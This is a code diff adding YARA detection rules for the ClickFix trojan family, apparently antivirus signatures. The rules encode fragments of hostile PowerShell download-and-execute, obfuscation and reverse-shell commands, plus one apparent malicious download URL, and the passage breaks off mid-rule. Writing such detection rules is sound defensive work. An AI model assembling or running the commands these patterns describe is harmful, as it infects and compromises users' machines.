b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBV_MTB.yar new file mode 100644 index 0000000000..fb2ece8560 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BBV_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_BBV_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BBV!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {3b 00 5b 00 52 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 5d 00 3a 00 3a 00 4c 00 6f 00 61 00 64 00 57 00 69 00 74 00 68 00 50 00 61 00 72 00 74 00 69 00 61 00 6c 00 4e 00 61 00 6d 00 65 00 28 00 } //1 ;[Reflection.Assembly]::LoadWithPartialName( + $a_00_2 = {44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 DownloadString($ + $a_00_3 = {6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 } //1 net.webclient + $a_00_4 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BSA_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BSA_MTB.yar new file mode 100644 index 0000000000..08100f27f5 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_BSA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_BSA_MTB{ + meta: + description = "Trojan:Win32/ClickFix.BSA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0f 00 0f 00 04 00 00 " + + strings : + $a_00_0 = {65 00 6e 00 76 00 3a 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 } //2 env:AppData + $a_00_1 = {63 00 75 00 72 00 6c 00 } //1 curl + $a_00_2 = {6c 00 75 00 63 00 6b 00 79 00 73 00 65 00 61 00 77 00 6f 00 72 00 6c 00 64 00 2e 00 63 00 6f 00 6d 00 2f 00 6e 00 6f 00 77 00 2e 00 6d 00 73 00 69 00 } //10 luckyseaworld.com/now.msi + $a_00_3 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 20 00 2f 00 69 00 } //2 msiexec.exe /i + condition: + ((#a_00_0 & 1)*2+(#a_00_1 & 1)*1+(#a_00_2 & 1)*10+(#a_00_3 & 1)*2) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCA_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCA_MTB.yar new file mode 100644 index 0000000000..baa4002dfd --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCA_MTB.yar @@ -0,0 +1,19 @@ + +rule Trojan_Win32_ClickFix_CCA_MTB{ + meta: + description = "Trojan:Win32/ClickFix.CCA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 09 00 00 " + + strings : + $a_00_0 = {27 00 69 00 77 00 27 00 20 00 2b 00 20 00 27 00 72 00 27 00 } //1 'iw' + 'r' + $a_00_1 = {27 00 69 00 27 00 20 00 2b 00 20 00 27 00 77 00 72 00 27 00 } //1 'i' + 'wr' + $a_00_2 = {27 00 69 00 65 00 27 00 20 00 2b 00 20 00 27 00 78 00 27 00 } //1 'ie' + 'x' + $a_00_3 = {27 00 69 00 27 00 20 00 2b 00 20 00 27 00 65 00 78 00 27 00 } //1 'i' + 'ex' + $a_00_4 = {27 00 69 00 27 00 2b 00 27 00 65 00 78 00 27 00 } //1 'i'+'ex' + $a_00_5 = {27 00 69 00 65 00 27 00 2b 00 27 00 78 00 27 00 } //1 'ie'+'x' + $a_00_6 = {27 00 69 00 77 00 27 00 2b 00 27 00 72 00 27 00 } //1 'iw'+'r' + $a_00_7 = {27 00 69 00 27 00 2b 00 27 00 77 00 72 00 27 00 } //1 'i'+'wr' + $a_00_8 = {27 00 69 00 27 00 20 00 2b 00 20 00 27 00 65 00 27 00 20 00 2b 00 20 00 27 00 78 00 27 00 } //1 'i' + 'e' + 'x' + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCB_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCB_MTB.yar new file mode 100644 index 0000000000..3df05fa4e9 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ClickFix_CCB_MTB{ + meta: + description = "Trojan:Win32/ClickFix.CCB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {27 00 29 00 2e 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 [0-10] 23 00 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCC_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCC_MTB.yar new file mode 100644 index 0000000000..83e77caf83 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCC_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_CCC_MTB{ + meta: + description = "Trojan:Win32/ClickFix.CCC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {2b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 } //1 +[char] + $a_00_1 = {6a 00 6f 00 69 00 6e 00 } //1 join + $a_00_2 = {2e 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //1 .content + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCD_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCD_MTB.yar new file mode 100644 index 0000000000..258af93bec --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCD_MTB.yar @@ -0,0 +1,27 @@ + +rule Trojan_Win32_ClickFix_CCD_MTB{ + meta: + description = "Trojan:Win32/ClickFix.CCD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_2 = {27 00 69 00 65 00 78 00 27 00 } //1 'iex' + $a_00_3 = {27 00 69 00 77 00 72 00 27 00 } //1 'iwr' + $a_00_4 = {3b 00 26 00 24 00 } //1 ;&$ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} +rule Trojan_Win32_ClickFix_CCD_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.CCD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {2d 00 62 00 78 00 6f 00 72 00 } //1 -bxor + $a_00_1 = {46 00 6f 00 72 00 45 00 61 00 63 00 68 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 } //1 ForEach-Object + $a_00_2 = {46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //1 FromBase64String + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCF_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCF_MTB.yar new file mode 100644 index 0000000000..f977512229 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCF_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_CCF_MTB{ + meta: + description = "Trojan:Win32/ClickFix.CCF!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {2d 00 62 00 78 00 6f 00 72 00 } //1 -bxor + $a_00_1 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden + $a_00_2 = {66 00 6f 00 72 00 28 00 24 00 } //1 for($ + $a_00_3 = {46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 FromBase64String($ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCJ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCJ_MTB.yar new file mode 100644 index 0000000000..232da70fd8 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCJ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_CCJ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.CCJ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4e 00 65 00 74 00 2e 00 53 00 6f 00 63 00 6b 00 65 00 74 00 73 00 2e 00 54 00 43 00 50 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 System.Net.Sockets.TCPClient + $a_00_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCK_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCK_MTB.yar new file mode 100644 index 0000000000..290d86b35f --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCK_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_CCK_MTB{ + meta: + description = "Trojan:Win32/ClickFix.CCK!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 28 00 24 00 } //1 .DownloadFile($ + $a_00_1 = {2e 00 48 00 65 00 61 00 64 00 65 00 72 00 73 00 2e 00 41 00 64 00 64 00 28 00 } //1 .Headers.Add( + $a_00_2 = {4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 Net.WebClient + $a_00_3 = {29 00 3b 00 26 00 24 00 } //1 );&$ + $a_00_4 = {24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 } //1 $env:TEMP + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCL_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCL_MTB.yar new file mode 100644 index 0000000000..fa2ce8338a --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_CCL_MTB{ + meta: + description = "Trojan:Win32/ClickFix.CCL!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {67 00 69 00 20 00 5c 00 57 00 2a 00 5c 00 2a 00 33 00 32 00 5c 00 63 00 3f 00 3f 00 6c 00 2e 00 65 00 } //1 gi \W*\*32\c??l.e + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCM_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCM_MTB.yar new file mode 100644 index 0000000000..47d40e25a6 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCM_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_CCM_MTB{ + meta: + description = "Trojan:Win32/ClickFix.CCM!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 63 00 72 00 65 00 61 00 74 00 65 00 } //1 scriptblock]::create + $a_00_2 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_3 = {2e 00 70 00 6e 00 67 00 } //1 .png + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCN_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCN_MTB.yar new file mode 100644 index 0000000000..8c1310a42e --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCN_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_CCN_MTB{ + meta: + description = "Trojan:Win32/ClickFix.CCN!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 04 00 00 " + + strings : + $a_00_0 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 } //10 msiexec + $a_00_1 = {2e 00 6d 00 73 00 69 00 } //10 .msi + $a_00_2 = {2f 00 71 00 } //1 /q + $a_00_3 = {2f 00 70 00 61 00 63 00 6b 00 61 00 67 00 65 00 } //1 /package + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=21 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCO_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCO_MTB.yar new file mode 100644 index 0000000000..8364433856 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCO_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_CCO_MTB{ + meta: + description = "Trojan:Win32/ClickFix.CCO!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {63 00 75 00 72 00 6c 00 } //1 curl + $a_00_1 = {2e 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //1 .content + $a_00_2 = {68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCR_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCR_MTB.yar new file mode 100644 index 0000000000..ea182b6f22 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCR_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_CCR_MTB{ + meta: + description = "Trojan:Win32/ClickFix.CCR!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 05 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-50] 24 00 } //100 + $a_02_1 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 77 00 65 00 62 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 [0-20] 2d 00 75 00 73 00 65 00 62 00 61 00 73 00 69 00 63 00 70 00 61 00 72 00 73 00 69 00 6e 00 67 00 20 00 24 00 [0-20] 29 00 2e 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //10 + $a_02_2 = {69 00 77 00 72 00 20 00 [0-20] 2d 00 75 00 73 00 65 00 62 00 61 00 73 00 69 00 63 00 70 00 61 00 72 00 73 00 69 00 6e 00 67 00 20 00 24 00 [0-20] 29 00 2e 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //10 + $a_00_3 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 } //1 Invoke-Expression $ + $a_00_4 = {69 00 65 00 78 00 20 00 24 00 } //1 iex $ + condition: + ((#a_02_0 & 1)*100+(#a_02_1 & 1)*10+(#a_02_2 & 1)*10+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCS_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCS_MTB.yar new file mode 100644 index 0000000000..2b5b7b0f02 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCS_MTB.yar @@ -0,0 +1,28 @@ + +rule Trojan_Win32_ClickFix_CCS_MTB{ + meta: + description = "Trojan:Win32/ClickFix.CCS!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0c 00 0c 00 04 00 00 " + + strings : + $a_00_0 = {69 00 65 00 78 00 20 00 28 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 52 00 65 00 73 00 74 00 4d 00 65 00 74 00 68 00 6f 00 64 00 } //10 iex (Invoke-RestMethod + $a_00_1 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 28 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 52 00 65 00 73 00 74 00 4d 00 65 00 74 00 68 00 6f 00 64 00 } //10 invoke-expression (Invoke-RestMethod + $a_00_2 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_3 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=12 + +} +rule Trojan_Win32_ClickFix_CCS_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.CCS!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0d 00 0d 00 05 00 00 " + + strings : + $a_02_0 = {77 00 68 00 69 00 6c 00 65 00 28 00 [0-10] 29 00 7b 00 74 00 72 00 79 00 7b 00 } //1 + $a_00_1 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_2 = {2d 00 4d 00 65 00 74 00 68 00 6f 00 64 00 20 00 50 00 6f 00 73 00 74 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //1 -Method Post).Content + $a_00_3 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 28 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 2d 00 55 00 72 00 69 00 } //10 Invoke-Expression(Invoke-WebRequest -Uri + $a_00_4 = {69 00 65 00 78 00 28 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 2d 00 55 00 72 00 69 00 } //10 iex(Invoke-WebRequest -Uri + condition: + ((#a_02_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10) >=13 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCV_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCV_MTB.yar new file mode 100644 index 0000000000..b293d1a313 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCV_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_CCV_MTB{ + meta: + description = "Trojan:Win32/ClickFix.CCV!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {3b 00 69 00 65 00 78 00 20 00 28 00 69 00 77 00 72 00 20 00 24 00 } //1 ;iex (iwr $ + $a_02_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-50] 24 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCX_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCX_MTB.yar new file mode 100644 index 0000000000..7a20298b43 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCX_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_CCX_MTB{ + meta: + description = "Trojan:Win32/ClickFix.CCX!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 06 00 00 " + + strings : + $a_02_0 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 27 00 2b 00 24 00 [0-10] 2b 00 27 00 3a 00 27 00 2b 00 24 00 } //1 + $a_00_1 = {68 00 27 00 2b 00 27 00 74 00 27 00 2b 00 27 00 74 00 27 00 2b 00 27 00 70 00 } //1 h'+'t'+'t'+'p + $a_00_2 = {68 00 20 00 27 00 2b 00 27 00 20 00 74 00 20 00 27 00 2b 00 27 00 20 00 74 00 27 00 20 00 2b 00 27 00 20 00 70 00 } //1 h '+' t '+' t' +' p + $a_00_3 = {68 00 74 00 27 00 2b 00 27 00 74 00 70 00 } //1 ht'+'tp + $a_00_4 = {27 00 68 00 27 00 2b 00 27 00 74 00 74 00 27 00 2b 00 27 00 70 00 } //1 'h'+'tt'+'p + $a_00_5 = {68 00 74 00 74 00 27 00 2b 00 27 00 70 00 } //1 htt'+'p + condition: + ((#a_02_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCY_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCY_MTB.yar new file mode 100644 index 0000000000..f84268209d --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_CCY_MTB.yar @@ -0,0 +1,58 @@ + +rule Trojan_Win32_ClickFix_CCY_MTB{ + meta: + description = "Trojan:Win32/ClickFix.CCY!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-50] 24 00 } //1 + $a_00_1 = {4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 Net.WebClient + $a_00_2 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 .DownloadString($ + $a_00_3 = {27 00 3b 00 26 00 20 00 24 00 } //1 ';& $ + condition: + ((#a_02_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} +rule Trojan_Win32_ClickFix_CCY_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.CCY!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-50] 24 00 } //1 + $a_00_1 = {3d 00 24 00 65 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 20 00 2b 00 } //1 =$env:temp + + $a_00_2 = {2d 00 75 00 72 00 69 00 20 00 24 00 } //1 -uri $ + $a_02_3 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 2f 00 } //1 + condition: + ((#a_02_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_02_3 & 1)*1) >=4 + +} +rule Trojan_Win32_ClickFix_CCY_MTB_3{ + meta: + description = "Trojan:Win32/ClickFix.CCY!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_02_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 [0-50] 24 00 } //1 + $a_00_1 = {4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 Net.WebClient + $a_00_2 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 .DownloadString($ + $a_00_3 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden + $a_00_4 = {24 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 } //1 $env:TEMP + $a_00_5 = {6a 00 6f 00 69 00 6e 00 } //1 join + condition: + ((#a_02_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=6 + +} +rule Trojan_Win32_ClickFix_CCY_MTB_4{ + meta: + description = "Trojan:Win32/ClickFix.CCY!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_00_0 = {6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 } //1 net.webclient + $a_00_1 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_2 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 } //1 download + $a_00_3 = {72 00 65 00 70 00 6c 00 61 00 63 00 65 00 } //1 replace + $a_00_4 = {3b 00 66 00 6f 00 72 00 65 00 61 00 63 00 68 00 28 00 24 00 } //1 ;foreach($ + $a_00_5 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 49 00 74 00 65 00 6d 00 } //1 Invoke-Item + $a_00_6 = {24 00 65 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 2b 00 28 00 } //1 $env:temp+( + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAC_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAC_MTB.yar new file mode 100644 index 0000000000..5a0fdda5b4 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_DAC_MTB.yar @@ -0,0 +1,29 @@ + +rule Trojan_Win32_ClickFix_DAC_MTB{ + meta: + description = "Trojan:Win32/ClickFix.DAC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 13 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell + $a_00_1 = {2e 00 73 00 68 00 6f 00 70 00 2f 00 } //100 .shop/ + $a_00_2 = {2e 00 78 00 79 00 7a 00 2f 00 } //100 .xyz/ + $a_00_3 = {2e 00 69 00 63 00 75 00 2f 00 } //100 .icu/ + $a_00_4 = {2e 00 6c 00 61 00 74 00 2f 00 } //100 .lat/ + $a_00_5 = {2e 00 66 00 75 00 6e 00 2f 00 } //100 .fun/ + $a_00_6 = {2e 00 62 00 65 00 74 00 2f 00 } //100 .bet/ + $a_00_7 = {2e 